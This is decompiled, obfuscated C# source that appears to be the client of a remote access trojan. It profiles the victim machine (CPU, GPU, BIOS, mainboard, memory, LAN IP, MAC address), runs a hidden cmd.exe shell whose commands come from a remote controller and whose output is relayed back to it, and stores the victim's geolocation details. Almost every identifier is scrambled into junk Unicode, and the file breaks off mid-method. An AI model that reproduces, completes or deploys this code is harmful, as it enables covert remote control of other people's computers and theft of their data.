public static class \u05b9싍\uee20误펋桹�☚\uf398屆ъ춬㑌࠷㴕黡\ue28d橂稝\ue372
{
	private static string 銃�쪜归앛ރ鷥鄗㠓ଡꐦ\u0ba5⾔㩛댨葅\uf3b2ꅕ츑鲭;

	private static string ﳰ༛협쩹蟽ᓍ폖翑\ue59b䀝佾�귷뺺獹饍線\uf499�Ⱐ;

	private static string 쩀廴ኘ\u1a55�\uf082⅒ꥠ䴃謾뷨嫮p闆隂到哓\u0094檿譚;

	private static string ဈꀉ貁㪜劙ᚲ퀝牽掴늤�ᕔ銌꽳텀ㅦ㡫\u2430⭿佽;

	private static string 샥≭怴դ拆\ue303祰扷괜ﰫꍢ\u20f4ͳ\uf2ca蒍终㍴꧐⠔쪧;

	private static int? \uea65ㆻ羢൲ᒍ놦퀇椞�氃瀳옿홖䮨\ue1e6絝櫮䋣㧪灎;

	public static string HardwareId => 銃�쪜归앛ރ鷥鄗㠓ଡꐦ\u0ba5⾔㩛댨葅\uf3b2ꅕ츑鲭 ?? (銃�쪜归앛ރ鷥鄗㠓ଡꐦ\u0ba5⾔㩛댨葅\uf3b2ꅕ츑鲭 = Sha256.ComputeHash(CpuName + MainboardName + BiosManufacturer));

	public static string CpuName => ﳰ༛협쩹蟽ᓍ폖翑\ue59b䀝佾�귷뺺獹饍線\uf499�Ⱐ ?? (ﳰ༛협쩹蟽ᓍ폖翑\ue59b䀝佾�귷뺺獹饍線\uf499�Ⱐ = ‡撦욗䘍鋵抭訒ﴠ㢇腧퐞㙩漣휣\uf470≌⭑\uf78f탯气());

	public static string GpuName => 쩀廴ኘ\u1a55�\uf082⅒ꥠ䴃謾뷨嫮p闆隂到哓\u0094檿譚 ?? (쩀廴ኘ\u1a55�\uf082⅒ꥠ䴃謾뷨嫮p闆隂到哓\u0094檿譚 = 읈禹ﲰ\ue0ba\uf3d2�\u0f37边㗱셦ד궐霃흿\ue1fb귒襠䏡㗱\uab07());

	public static string BiosManufacturer => ဈꀉ貁㪜劙ᚲ퀝牽掴늤�ᕔ銌꽳텀ㅦ㡫\u2430⭿佽 ?? (ဈꀉ貁㪜劙ᚲ퀝牽掴늤�ᕔ銌꽳텀ㅦ㡫\u2430⭿佽 = ꌩ�뇚ᗙ黎Ϸ\u083f悧逕㬌ꧤ艗鳺ﲖ�䚨냍\u2dff彝詨());

	public static string MainboardName => 샥≭怴դ拆\ue303祰扷괜ﰫꍢ\u20f4ͳ\uf2ca蒍终㍴꧐⠔쪧 ?? (샥≭怴դ拆\ue303祰扷괜ﰫꍢ\u20f4ͳ\uf2ca蒍终㍴꧐⠔쪧 = 䀼枪\ue5a4椧葤᪤牍ﹶ琦檦쥕η\uf684੧⚃ⅅ샒걞껥찗());

	public static int? TotalPhysicalMemory => \uea65ㆻ羢൲ᒍ놦퀇椞�氃瀳옿홖䮨\ue1e6絝櫮䋣㧪灎 ?? (\uea65ㆻ羢൲ᒍ놦퀇椞�氃瀳옿홖䮨\ue1e6絝櫮䋣㧪灎 = \uea28퍚騭ᅇ袋ắ盼㫑瀎\uf350힍\ue472㱉緣뭨뤸礽\u0006ꋔ嘑());

	public static string LanIpAddress => \ue7c8게굱䩊㚯�\uefe5鐰褢难\uec89颟৲옸Ⲑ�秹ꭕ叽㲮();

	public static string MacAddress => 寰秠䷏ㄣ탁靤\u1fee瑉㋗苚켍熁絁䇒钇㐥ꂋﻞମ荔();

	private static string ꌩ�뇚ᗙ黎Ϸ\u083f悧逕㬌ꧤ艗鳺ﲖ�䚨냍\u2dff彝詨()
	{
		//IL_000b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0011: Expected O, but got Unknown
		try
		{
			string text = string.Empty;
			ManagementObjectSearcher val = new ManagementObjectSearcher("SELECT * FROM Win32_BIOS");
			try
			{
				ManagementObjectEnumerator enumerator = val.Get().GetEnumerator();
				try
				{
					if (enumerator.MoveNext())
					{
						text = enumerator.Current["Manufacturer"].ToString();
					}
				}
				finally
				{
					((IDisposable)enumerator)?.Dispose();
				}
			}
			finally
			{
				((IDisposable)val)?.Dispose();
			}
			return (!string.IsNullOrEmpty(text)) ? text : "N/A";
		}
		catch
		{
		}
		return "Unknown";
	}

	private static string 䀼枪\ue5a4椧葤᪤牍ﹶ琦檦쥕η\uf684੧⚃ⅅ샒걞껥찗()
	{
		//IL_000b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0011: Expected O, but got Unknown
		//IL_002b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0031: Expected O, but got Unknown
		try
		{
			string text = string.Empty;
			ManagementObjectSearcher val = new ManagementObjectSearcher("SELECT * FROM Win32_BaseBoard");
			try
			{
				ManagementObjectEnumerator enumerator = val.Get().GetEnumerator();
				try
				{
					if (enumerator.MoveNext())
					{
						ManagementObject val2 = (ManagementObject)enumerator.Current;
						text = ((ManagementBaseObject)val2)["Manufacturer"].ToString() + " " + ((ManagementBaseObject)val2)["Product"].ToString();
					}
				}
				finally
				{
					((IDisposable)enumerator)?.Dispose();
				}
			}
			finally
			{
				((IDisposable)val)?.Dispose();
			}
			return (!string.IsNullOrEmpty(text)) ? text : "N/A";
		}
		catch
		{
		}
		return "Unknown";
	}

	private static string ‡撦욗䘍鋵抭訒ﴠ㢇腧퐞㙩漣휣\uf470≌⭑\uf78f탯气()
	{
		//IL_000b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0011: Expected O, but got Unknown
		//IL_0025: Unknown result type (might be due to invalid IL or missing references)
		//IL_002c: Expected O, but got Unknown
		try
		{
			string text = string.Empty;
			ManagementObjectSearcher val = new ManagementObjectSearcher("SELECT * FROM Win32_Processor");
			try
			{
				ManagementObjectEnumerator enumerator = val.Get().GetEnumerator();
				try
				{
					while (enumerator.MoveNext())
					{
						ManagementObject val2 = (ManagementObject)enumerator.Current;
						text = text + ((ManagementBaseObject)val2)["Name"].ToString() + "; ";
					}
				}
				finally
				{
					((IDisposable)enumerator)?.Dispose();
				}
			}
			finally
			{
				((IDisposable)val)?.Dispose();
			}
			string text2 = StringHelper.RemoveLastChars(text, 2);
			return (!string.IsNullOrEmpty(text2)) ? text2 : "N/A";
		}
		catch
		{
		}
		return "Unknown";
	}

	private static int \uea28퍚騭ᅇ袋ắ盼㫑瀎\uf350힍\ue472㱉緣뭨뤸礽\u0006ꋔ嘑()
	{
		//IL_0007: Unknown result type (might be due to invalid IL or missing references)
		//IL_000d: Expected O, but got Unknown
		try
		{
			int result = 0;
			ManagementObjectSearcher val = new ManagementObjectSearcher("Select * From Win32_ComputerSystem");
			try
			{
				ManagementObjectEnumerator enumerator = val.Get().GetEnumerator();
				try
				{
					if (enumerator.MoveNext())
					{
						result = (int)(Convert.ToDouble(enumerator.Current["TotalPhysicalMemory"]) / 1048576.0);
					}
				}
				finally
				{
					((IDisposable)enumerator)?.Dispose();
				}
			}
			finally
			{
				((IDisposable)val)?.Dispose();
			}
			return result;
		}
		catch
		{
			return -1;
		}
	}

	private static string 읈禹ﲰ\ue0ba\uf3d2�\u0f37边㗱셦ד궐霃흿\ue1fb귒襠䏡㗱\uab07()
	{
		//IL_000b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0011: Expected O, but got Unknown
		//IL_0025: Unknown result type (might be due to invalid IL or missing references)
		//IL_002c: Expected O, but got Unknown
		try
		{
			string text = string.Empty;
			ManagementObjectSearcher val = new ManagementObjectSearcher("SELECT * FROM Win32_DisplayConfiguration");
			try
			{
				ManagementObjectEnumerator enumerator = val.Get().GetEnumerator();
				try
				{
					while (enumerator.MoveNext())
					{
						ManagementObject val2 = (ManagementObject)enumerator.Current;
						text = text + ((ManagementBaseObject)val2)["Description"].ToString() + "; ";
					}
				}
				finally
				{
					((IDisposable)enumerator)?.Dispose();
				}
			}
			finally
			{
				((IDisposable)val)?.Dispose();
			}
			string text2 = StringHelper.RemoveLastChars(text, 2);
			return (!string.IsNullOrEmpty(text2)) ? text2 : "N/A";
		}
		catch
		{
			return "Unknown";
		}
	}

	private static string \ue7c8게굱䩊㚯�\uefe5鐰褢难\uec89颟৲옸Ⲑ�秹ꭕ叽㲮()
	{
		NetworkInterface[] allNetworkInterfaces = NetworkInterface.GetAllNetworkInterfaces();
		foreach (NetworkInterface networkInterface in allNetworkInterfaces)
		{
			if (networkInterface.GetIPProperties().GatewayAddresses.FirstOrDefault() == null || (networkInterface.NetworkInterfaceType != NetworkInterfaceType.Wireless80211 && (networkInterface.NetworkInterfaceType != NetworkInterfaceType.Ethernet || networkInterface.OperationalStatus != OperationalStatus.Up)))
			{
				continue;
			}
			foreach (UnicastIPAddressInformation unicastAddress in networkInterface.GetIPProperties().UnicastAddresses)
			{
				if (unicastAddress.Address.AddressFamily == AddressFamily.InterNetwork && unicastAddress.AddressPreferredLifetime != uint.MaxValue)
				{
					return unicastAddress.Address.ToString();
				}
			}
		}
		return "-";
	}

	private static string 寰秠䷏ㄣ탁靤\u1fee瑉㋗苚켍熁絁䇒钇㐥ꂋﻞମ荔()
	{
		NetworkInterface[] allNetworkInterfaces = NetworkInterface.GetAllNetworkInterfaces();
		foreach (NetworkInterface networkInterface in allNetworkInterfaces)
		{
			if (networkInterface.NetworkInterfaceType != NetworkInterfaceType.Wireless80211 && (networkInterface.NetworkInterfaceType != NetworkInterfaceType.Ethernet || networkInterface.OperationalStatus != OperationalStatus.Up))
			{
				continue;
			}
			bool flag = false;
			foreach (UnicastIPAddressInformation unicastAddress in networkInterface.GetIPProperties().UnicastAddresses)
			{
				if (unicastAddress.Address.AddressFamily == AddressFamily.InterNetwork && unicastAddress.AddressPreferredLifetime != uint.MaxValue)
				{
					flag = unicastAddress.Address.ToString() == \ue7c8게굱䩊㚯�\uefe5鐰褢难\uec89颟৲옸Ⲑ�秹ꭕ叽㲮();
				}
			}
			if (flag)
			{
				return StringHelper.GetFormattedMacAddress(networkInterface.GetPhysicalAddress().ToString());
			}
		}
		return "-";
	}
}
public class 綣ॺ흏\ufff1㴁達ᘔꓮ鹤\u0344춉㔳䜃㏶\ueae0\ue4ac絎牟∝ɽ : IDisposable
{
	private Process 在�噳쨏⡧ۈꏄ㦿厰\uefd0\u08cf㤦㤈\u0a55갲赻웋�攡鋫;

	private bool 닳爜\ue9f3鯨Ꮎ\ue49eṜ藜롩㒗茁읣嵁茛哠蜽錠膑\uf31d㱐;

	private readonly object \ueee6\u0bc5ე乚荾ꖈ䲸絝ᔣ䷦왰\ufe21ᓓ괌䈯쭇钋顙ડ\ueb5c = new object();

	private readonly object 瞏콝壧↽顳鑊衋봮鴍녡味㙤쫃쪊儝폾Ꙑ誸禭� = new object();

	private Encoding \ueddb迩럜ꘕ誕룶뀴夞㈕\ue0dd蟈墈ᯉ䓡�놡�\uf1b1웻ꄐ;

	private StreamWriter Ṕἕ垁駣ꮰ\uf438熠꘣僀�\ue7d4櫞臯ꅙ䍟镱쥞쉒⪩躁;

	private readonly \uf42f⫎ᢎ⢶䣅䑑㠬⥫４\u1df1봡ߜ눥�꺅⇶퀺\ue4b8峭混 \u17dd計郎愮蕳婧ꊛ�薁Ġ㭓ể\ueea2蠀쌂鶵啫뉈旙睆;

	public 綣ॺ흏\ufff1㴁達ᘔꓮ鹤\u0344춉㔳䜃㏶\ueae0\ue4ac絎牟∝ɽ(\uf42f⫎ᢎ⢶䣅䑑㠬⥫４\u1df1봡ߜ눥�꺅⇶퀺\ue4b8峭混 client)
	{
		\u17dd計郎愮蕳婧ꊛ�薁Ġ㭓ể\ueea2蠀쌂鶵啫뉈旙睆 = client;
	}

	private void 댦榱ꇸ䕌뷦ꙮ믬ᗋ蒲櫆깖ꂕ\ue59c錂ⴌ做\uf1f5ᥟꏕ뾺()
	{
		//IL_00de: Unknown result type (might be due to invalid IL or missing references)
		//IL_00e3: Unknown result type (might be due to invalid IL or missing references)
		//IL_00f3: Expected O, but got Unknown
		lock (\ueee6\u0bc5ე乚荾ꖈ䲸絝ᔣ䷦왰\ufe21ᓓ괌䈯쭇钋顙ડ\ueb5c)
		{
			닳爜\ue9f3鯨Ꮎ\ue49eṜ藜롩㒗茁읣嵁茛哠蜽錠膑\uf31d㱐 = true;
		}
		\ueddb迩럜ꘕ誕룶뀴夞㈕\ue0dd蟈墈ᯉ䓡�놡�\uf1b1웻ꄐ = Encoding.GetEncoding(CultureInfo.InstalledUICulture.TextInfo.OEMCodePage);
		在�噳쨏⡧ۈꏄ㦿厰\uefd0\u08cf㤦㤈\u0a55갲赻웋�攡鋫 = new Process
		{
			StartInfo = new ProcessStartInfo("cmd")
			{
				UseShellExecute = false,
				CreateNoWindow = true,
				RedirectStandardInput = true,
				RedirectStandardOutput = true,
				RedirectStandardError = true,
				StandardOutputEncoding = \ueddb迩럜ꘕ誕룶뀴夞㈕\ue0dd蟈墈ᯉ䓡�놡�\uf1b1웻ꄐ,
				StandardErrorEncoding = \ueddb迩럜ꘕ誕룶뀴夞㈕\ue0dd蟈墈ᯉ䓡�놡�\uf1b1웻ꄐ,
				WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)),
				Arguments = $"/K CHCP {\ueddb迩럜ꘕ誕룶뀴夞㈕\ue0dd蟈墈ᯉ䓡�놡�\uf1b1웻ꄐ.CodePage}"
			}
		};
		在�噳쨏⡧ۈꏄ㦿厰\uefd0\u08cf㤦㤈\u0a55갲赻웋�攡鋫.Start();
		☫ꛦ몦晊狟㆙\ue2d2曽瞶존풥茴쑋⁕詥ꑠᤆ⾺这�();
		((Client)\u17dd計郎愮蕳婧ꊛ�薁Ġ㭓ể\ueea2蠀쌂鶵啫뉈旙睆).Send<DoShellExecuteResponse>(new DoShellExecuteResponse
		{
			Output = "\n>> New Session created\n"
		});
	}

	private void ☫ꛦ몦晊狟㆙\ue2d2曽瞶존풥茴쑋⁕詥ꑠᤆ⾺这�()
	{
		Ṕἕ垁駣ꮰ\uf438熠꘣僀�\ue7d4櫞臯ꅙ䍟镱쥞쉒⪩躁 = new StreamWriter(在�噳쨏⡧ۈꏄ㦿厰\uefd0\u08cf㤦㤈\u0a55갲赻웋�攡鋫.StandardInput.BaseStream, \ueddb迩럜ꘕ誕룶뀴夞㈕\ue0dd蟈墈ᯉ䓡�놡�\uf1b1웻ꄐ);
		new Thread(㣏⡏䐼\uf5f8\ued2e걭ꬎ悈依♨镬喝ຽ徯嗘㉾\uebc0뽃㌓阽).Start();
		new Thread(选焫栠\uefff仲ᗺኁ箇\ufae1猣뚽࿚꺂좇�縨ⶒ㔲ꑒ땳).Start();
	}

	private void \uf82e᪇䋶뱸ᱞ纱\ue081粩ｿ㰩㍢传廸쾫㯆㩘曢폱ዀ陬(int firstCharRead, StreamReader streamReader, bool isError)
	{
		lock (瞏콝壧↽顳鑊衋봮鴍녡味㙤쫃쪊儝폾Ꙑ誸禭�)
		{
			StringBuilder textBuffer = new StringBuilder();
			textBuffer.Append((char)firstCharRead);
			while (streamReader.Peek() > -1)
			{
				int num = streamReader.Read();
				textBuffer.Append((char)num);
				if (num == 10)
				{
					\uefaeᗑꂯ珛윻헜⋈폰䑒䚞쨊ꨠᓐ꾥ᾥ᧞䋻�詬䴲(ref textBuffer, isError);
				}
			}
			\uefaeᗑꂯ珛윻헜⋈폰䑒䚞쨊ꨠᓐ꾥ᾥ᧞䋻�詬䴲(ref textBuffer, isError);
		}
	}

	private void \uefaeᗑꂯ珛윻헜⋈폰䑒䚞쨊ꨠᓐ꾥ᾥ᧞䋻�詬䴲(ref StringBuilder textBuffer, bool isError)
	{
		//IL_002d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0032: Unknown result type (might be due to invalid IL or missing references)
		//IL_0039: Unknown result type (might be due to invalid IL or missing references)
		//IL_0045: Expected O, but got Unknown
		if (textBuffer.Length != 0)
		{
			string text = \ue033\uf08e乳㝊鹠嫙鋷\uf3e3Ű虩鈡\ueef4繏쵰\u20dcڑ箱歸\uf3db珧(\ueddb迩럜ꘕ誕룶뀴夞㈕\ue0dd蟈墈ᯉ䓡�놡�\uf1b1웻ꄐ, textBuffer.ToString());
			if (!string.IsNullOrEmpty(text))
			{
				((Client)\u17dd計郎愮蕳婧ꊛ�薁Ġ㭓ể\ueea2蠀쌂鶵啫뉈旙睆).Send<DoShellExecuteResponse>(new DoShellExecuteResponse
				{
					Output = text,
					IsError = isError
				});
				textBuffer.Clear();
			}
		}
	}

	private void 㣏⡏䐼\uf5f8\ued2e걭ꬎ悈依♨镬喝ຽ徯嗘㉾\uebc0뽃㌓阽()
	{
		//IL_0092: Unknown result type (might be due to invalid IL or missing references)
		//IL_0097: Unknown result type (might be due to invalid IL or missing references)
		//IL_00a2: Unknown result type (might be due to invalid IL or missing references)
		//IL_00ae: Expected O, but got Unknown
		try
		{
			int firstCharRead;
			while (在�噳쨏⡧ۈꏄ㦿厰\uefd0\u08cf㤦㤈\u0a55갲赻웋�攡鋫 != null && !在�噳쨏⡧ۈꏄ㦿厰\uefd0\u08cf㤦㤈\u0a55갲赻웋�攡鋫.HasExited && (firstCharRead = 在�噳쨏⡧ۈꏄ㦿厰\uefd0\u08cf㤦㤈\u0a55갲赻웋�攡鋫.StandardOutput.Read()) > -1)
			{
				\uf82e᪇䋶뱸ᱞ纱\ue081粩ｿ㰩㍢传廸쾫㯆㩘曢폱ዀ陬(firstCharRead, 在�噳쨏⡧ۈꏄ㦿厰\uefd0\u08cf㤦㤈\u0a55갲赻웋�攡鋫.StandardOutput, isError: false);
			}
			lock (\ueee6\u0bc5ე乚荾ꖈ䲸絝ᔣ䷦왰\ufe21ᓓ괌䈯쭇钋顙ડ\ueb5c)
			{
				if (닳爜\ue9f3鯨Ꮎ\ue49eṜ藜롩㒗茁읣嵁茛哠蜽錠膑\uf31d㱐)
				{
					닳爜\ue9f3鯨Ꮎ\ue49eṜ藜롩㒗茁읣嵁茛哠蜽錠膑\uf31d㱐 = false;
					throw new ApplicationException("session unexpectedly closed");
				}
			}
		}
		catch (ObjectDisposedException)
		{
		}
		catch (Exception ex2)
		{
			if (ex2 is ApplicationException || ex2 is InvalidOperationException)
			{
				((Client)\u17dd計郎愮蕳婧ꊛ�薁Ġ㭓ể\ueea2蠀쌂鶵啫뉈旙睆).Send<DoShellExecuteResponse>(new DoShellExecuteResponse
				{
					Output = "\n>> Session unexpectedly closed\n",
					IsError = true
				});
				댦榱ꇸ䕌뷦ꙮ믬ᗋ蒲櫆깖ꂕ\ue59c錂ⴌ做\uf1f5ᥟꏕ뾺();
			}
		}
	}

	private void 选焫栠\uefff仲ᗺኁ箇\ufae1猣뚽࿚꺂좇�縨ⶒ㔲ꑒ땳()
	{
		//IL_0092: Unknown result type (might be due to invalid IL or missing references)
		//IL_0097: Unknown result type (might be due to invalid IL or missing references)
		//IL_00a2: Unknown result type (might be due to invalid IL or missing references)
		//IL_00ae: Expected O, but got Unknown
		try
		{
			int firstCharRead;
			while (在�噳쨏⡧ۈꏄ㦿厰\uefd0\u08cf㤦㤈\u0a55갲赻웋�攡鋫 != null && !在�噳쨏⡧ۈꏄ㦿厰\uefd0\u08cf㤦㤈\u0a55갲赻웋�攡鋫.HasExited && (firstCharRead = 在�噳쨏⡧ۈꏄ㦿厰\uefd0\u08cf㤦㤈\u0a55갲赻웋�攡鋫.StandardError.Read()) > -1)
			{
				\uf82e᪇䋶뱸ᱞ纱\ue081粩ｿ㰩㍢传廸쾫㯆㩘曢폱ዀ陬(firstCharRead, 在�噳쨏⡧ۈꏄ㦿厰\uefd0\u08cf㤦㤈\u0a55갲赻웋�攡鋫.StandardError, isError: true);
			}
			lock (\ueee6\u0bc5ე乚荾ꖈ䲸絝ᔣ䷦왰\ufe21ᓓ괌䈯쭇钋顙ડ\ueb5c)
			{
				if (닳爜\ue9f3鯨Ꮎ\ue49eṜ藜롩㒗茁읣嵁茛哠蜽錠膑\uf31d㱐)
				{
					닳爜\ue9f3鯨Ꮎ\ue49eṜ藜롩㒗茁읣嵁茛哠蜽錠膑\uf31d㱐 = false;
					throw new ApplicationException("session unexpectedly closed");
				}
			}
		}
		catch (ObjectDisposedException)
		{
		}
		catch (Exception ex2)
		{
			if (ex2 is ApplicationException || ex2 is InvalidOperationException)
			{
				((Client)\u17dd計郎愮蕳婧ꊛ�薁Ġ㭓ể\ueea2蠀쌂鶵啫뉈旙睆).Send<DoShellExecuteResponse>(new DoShellExecuteResponse
				{
					Output = "\n>> Session unexpectedly closed\n",
					IsError = true
				});
				댦榱ꇸ䕌뷦ꙮ믬ᗋ蒲櫆깖ꂕ\ue59c錂ⴌ做\uf1f5ᥟꏕ뾺();
			}
		}
	}

	public bool 딱鿖侵䋯\u1b02�ⵧ܅┶\uf51d拱쁪ꛋ餆勀൛▇㘦筡ꊗ(string command)
	{
		//IL_0025: Unknown result type (might be due to invalid IL or missing references)
		//IL_002a: Unknown result type (might be due to invalid IL or missing references)
		//IL_0045: Unknown result type (might be due to invalid IL or missing references)
		//IL_0051: Expected O, but got Unknown
		if (在�噳쨏⡧ۈꏄ㦿厰\uefd0\u08cf㤦㤈\u0a55갲赻웋�攡鋫 == null || 在�噳쨏⡧ۈꏄ㦿厰\uefd0\u08cf㤦㤈\u0a55갲赻웋�攡鋫.HasExited)
		{
			try
			{
				댦榱ꇸ䕌뷦ꙮ믬ᗋ蒲櫆깖ꂕ\ue59c錂ⴌ做\uf1f5ᥟꏕ뾺();
			}
			catch (Exception ex)
			{
				((Client)\u17dd計郎愮蕳婧ꊛ�薁Ġ㭓ể\ueea2蠀쌂鶵啫뉈旙睆).Send<DoShellExecuteResponse>(new DoShellExecuteResponse
				{
					Output = "\n>> Failed to creation shell session: " + ex.Message + "\n",
					IsError = true
				});
				return false;
			}
		}
		Ṕἕ垁駣ꮰ\uf438熠꘣僀�\ue7d4櫞臯ꅙ䍟镱쥞쉒⪩躁.WriteLine(\ue033\uf08e乳㝊鹠嫙鋷\uf3e3Ű虩鈡\ueef4繏쵰\u20dcڑ箱歸\uf3db珧(\ueddb迩럜ꘕ誕룶뀴夞㈕\ue0dd蟈墈ᯉ䓡�놡�\uf1b1웻ꄐ, command));
		Ṕἕ垁駣ꮰ\uf438熠꘣僀�\ue7d4櫞臯ꅙ䍟镱쥞쉒⪩躁.Flush();
		return true;
	}

	private string \ue033\uf08e乳㝊鹠嫙鋷\uf3e3Ű虩鈡\ueef4繏쵰\u20dcڑ箱歸\uf3db珧(Encoding sourceEncoding, string input)
	{
		return Encoding.UTF8.GetString(Encoding.Convert(sourceEncoding, Encoding.UTF8, sourceEncoding.GetBytes(input)));
	}

	public void Dispose()
	{
		Dispose(disposing: true);
		GC.SuppressFinalize(this);
	}

	protected virtual void Dispose(bool disposing)
	{
		if (!disposing)
		{
			return;
		}
		lock (\ueee6\u0bc5ე乚荾ꖈ䲸絝ᔣ䷦왰\ufe21ᓓ괌䈯쭇钋顙ડ\ueb5c)
		{
			닳爜\ue9f3鯨Ꮎ\ue49eṜ藜롩㒗茁읣嵁茛哠蜽錠膑\uf31d㱐 = false;
		}
		if (在�噳쨏⡧ۈꏄ㦿厰\uefd0\u08cf㤦㤈\u0a55갲赻웋�攡鋫 == null)
		{
			return;
		}
		if (!在�噳쨏⡧ۈꏄ㦿厰\uefd0\u08cf㤦㤈\u0a55갲赻웋�攡鋫.HasExited)
		{
			try
			{
				在�噳쨏⡧ۈꏄ㦿厰\uefd0\u08cf㤦㤈\u0a55갲赻웋�攡鋫.Kill();
			}
			catch
			{
			}
		}
		if (Ṕἕ垁駣ꮰ\uf438熠꘣僀�\ue7d4櫞臯ꅙ䍟镱쥞쉒⪩躁 != null)
		{
			Ṕἕ垁駣ꮰ\uf438熠꘣僀�\ue7d4櫞臯ꅙ䍟镱쥞쉒⪩躁.Close();
			Ṕἕ垁駣ꮰ\uf438熠꘣僀�\ue7d4櫞臯ꅙ䍟镱쥞쉒⪩躁 = null;
		}
		在�噳쨏⡧ۈꏄ㦿厰\uefd0\u08cf㤦㤈\u0a55갲赻웋�攡鋫.Dispose();
		在�噳쨏⡧ۈꏄ㦿厰\uefd0\u08cf㤦㤈\u0a55갲赻웋�攡鋫 = null;
	}
}
public class \u09b3ᓺꅌ쭸ਏᇤ�\u0ee6㼊∅瓺鼒꠴啙ᶂ鿼㝙\u09bb㹥ຬ
{
	[CompilerGenerated]
	private string ⷈ臏ﳕ忒졀袂\uea88\u0ff6ᱼ칽뿔创栨䒭顅聏㒞襆顡鄆;

	[CompilerGenerated]
	private string 뻊\u0330⽣읯阋픻♬㮬Ŋ\uf358�簻ຯ\uf4b4浼嫀엋腇ﳔ찴;

	[CompilerGenerated]
	private string 璯\uf4fa胬삭檀�ᶛꦈ떋翑哉盱垟⇄⿴⪤ᣊ궦뎽\uf12a;

	[CompilerGenerated]
	private string ὅӅ㇡鮢憒免龌ᴇꀐጸ褆겒Ṃ阬衙뎴鿬乹쒀劍;

	[CompilerGenerated]
	private string 羥\u0cceᱻ㿄❟\uec30ǖﻸ쮂\u0650룍萧㓴㐱了ﶅ㐃᭨몄刪;

	[CompilerGenerated]
	private string 㽟丬\ue1da㫨\uf518枙돲菎帰蘾鷐ⵁᇥ\u06d7ꞣ䣳茒烝\uef61웥;

	[CompilerGenerated]
	private int 㪴甸綯솂鷵僌⫵▲샅꺠◶氍裨螁뀱劲籷氦\ue0ad묥;

	public string IpAddress
	{
		[CompilerGenerated]
		get
		{
			return ⷈ臏ﳕ忒졀袂\uea88\u0ff6ᱼ칽뿔创栨䒭顅聏㒞襆顡鄆;
		}
		[CompilerGenerated]
		set
		{
			ⷈ臏ﳕ忒졀袂\uea88\u0ff6ᱼ칽뿔创栨䒭顅聏㒞襆顡鄆 = value;
		}
	}

	public string Country
	{
		[CompilerGenerated]
		get
		{
			return 뻊\u0330⽣읯阋픻♬㮬Ŋ\uf358�簻ຯ\uf4b4浼嫀엋腇ﳔ찴;
		}
		[CompilerGenerated]
		set
		{
			뻊\u0330⽣읯阋픻♬㮬Ŋ\uf358�簻ຯ\uf4b4浼嫀엋腇ﳔ찴 = value;
		}
	}

	public string CountryCode
	{
		[CompilerGenerated]
		get
		{
			return 璯\uf4fa胬삭檀�ᶛꦈ떋翑哉盱垟⇄⿴⪤ᣊ궦뎽\uf12a;
		}
		[CompilerGenerated]
		set
		{
			璯\uf4fa胬삭檀�ᶛꦈ떋翑哉盱垟⇄⿴⪤ᣊ궦뎽\uf12a = value;
		}
	}

	public string Timezone
	{
		[CompilerGenerated]
		get
		{
			return ὅӅ㇡鮢憒免龌ᴇꀐጸ褆겒Ṃ阬衙뎴鿬乹쒀劍;
		}
		[CompilerGenerated]
		set
		{
			ὅӅ㇡鮢憒免龌ᴇꀐጸ褆겒Ṃ阬衙뎴鿬乹쒀劍 = value;
		}
	}

	public string Asn
	{
		[CompilerGenerated]
		get
		{
			return 羥\u0cceᱻ㿄❟\uec30ǖﻸ쮂\u0650룍萧㓴㐱了ﶅ㐃᭨몄刪;
		}
		[CompilerGenerated]
		set
		{
			羥\u0cceᱻ㿄❟\uec30ǖﻸ쮂\u0650룍萧㓴㐱了ﶅ㐃᭨몄刪 = value;
		}
	}

	public string Isp
	{
		[CompilerGenerated]
		get
		{
			return 㽟丬\ue1da㫨\uf518枙돲菎帰蘾鷐ⵁᇥ\u06d7ꞣ䣳茒烝\uef61웥;
		}
		[CompilerGenerated]
		set
		{
			㽟丬\ue1da㫨\uf518枙돲菎帰蘾鷐ⵁᇥ\u06d7ꞣ䣳茒烝\uef61웥 = value;
		}
	}

	public int ImageIndex
	{
		[CompilerGenerated]
		get
		{
			return 㪴甸綯솂鷵僌⫵▲샅꺠◶氍裨螁뀱劲籷氦\ue0ad묥;
		}
		[CompilerGenerated]
		set
		{
			㪴甸綯솂鷵僌⫵▲샅꺠◶氍裨螁뀱劲籷氦\ue0ad묥 = value;
		}
	}
}
public static class \ue2e0䈙ﻄ鬰Ꝃ\uf5ffぺဟ돲\ue899灠抿蚞፮髏ࣉ뤴≣ꋨꇕ
{
	private static readonly ┯霅擺�䈴ⱑ↖繛優껧\u02f3粓쿻㒄ꊘퟏ䔩譂溓馄 糠곻ꔒ骞牃䎯᱾\ue790헤\u0d44\u2dfd呎览⇊ﺉ嗋Д걢䪼埀 = new ┯霅擺�䈴ⱑ↖繛優껧\u02f3粓쿻㒄ꊘퟏ䔩譂溓馄();

	private static \u09b3ᓺꅌ쭸ਏᇤ�\u0ee6㼊∅瓺鼒꠴啙ᶂ鿼㝙\u09bb㹥ຬ 늟੫ల芊䃫㫠ᨩ㩖ᬡ㭥ᰏ螈넅䮸㨍䒬罎爋\uf12c\u2fdd;

	private static DateTime 묿\ued17\u09c2屣擧쿍ㆯ祶\u2d7a輋✚\u07f3\uf024⟙⡅\uab2f䄋曶羁㽑 = new DateTime(1, 1, 1, 0, 0, 0, DateTimeKind.Utc);

	private const int ᚢ₦팬죟ᯛﺓ셠ဥ⠫⎁蕧\ue294鬪ﲴ캐慂緼쒮姚機 = 720;

	public static \u09b3ᓺꅌ쭸ਏᇤ�\u0ee6㼊∅瓺鼒꠴啙ᶂ鿼㝙\u09bb㹥ຬ 尭瓠Ꝫ亘琉馩蝟噞荲\uf868ꖛẳ挠ᳲ⣍㵛쾭턽胺ऱ()
	{
		TimeSpan timeSpan = new TimeSpan(DateTime.UtcNow.Ticks - 묿\ued17\u09c2屣擧쿍ㆯ祶\u2d7a輋✚\u07f3\uf024⟙⡅\uab2f䄋曶羁㽑.Ticks);
		if (늟੫ల芊䃫㫠ᨩ㩖ᬡ㭥ᰏ螈넅䮸㨍䒬罎爋\uf12c\u2fdd == null || timeSpan.TotalMinutes > 720.0)
		{
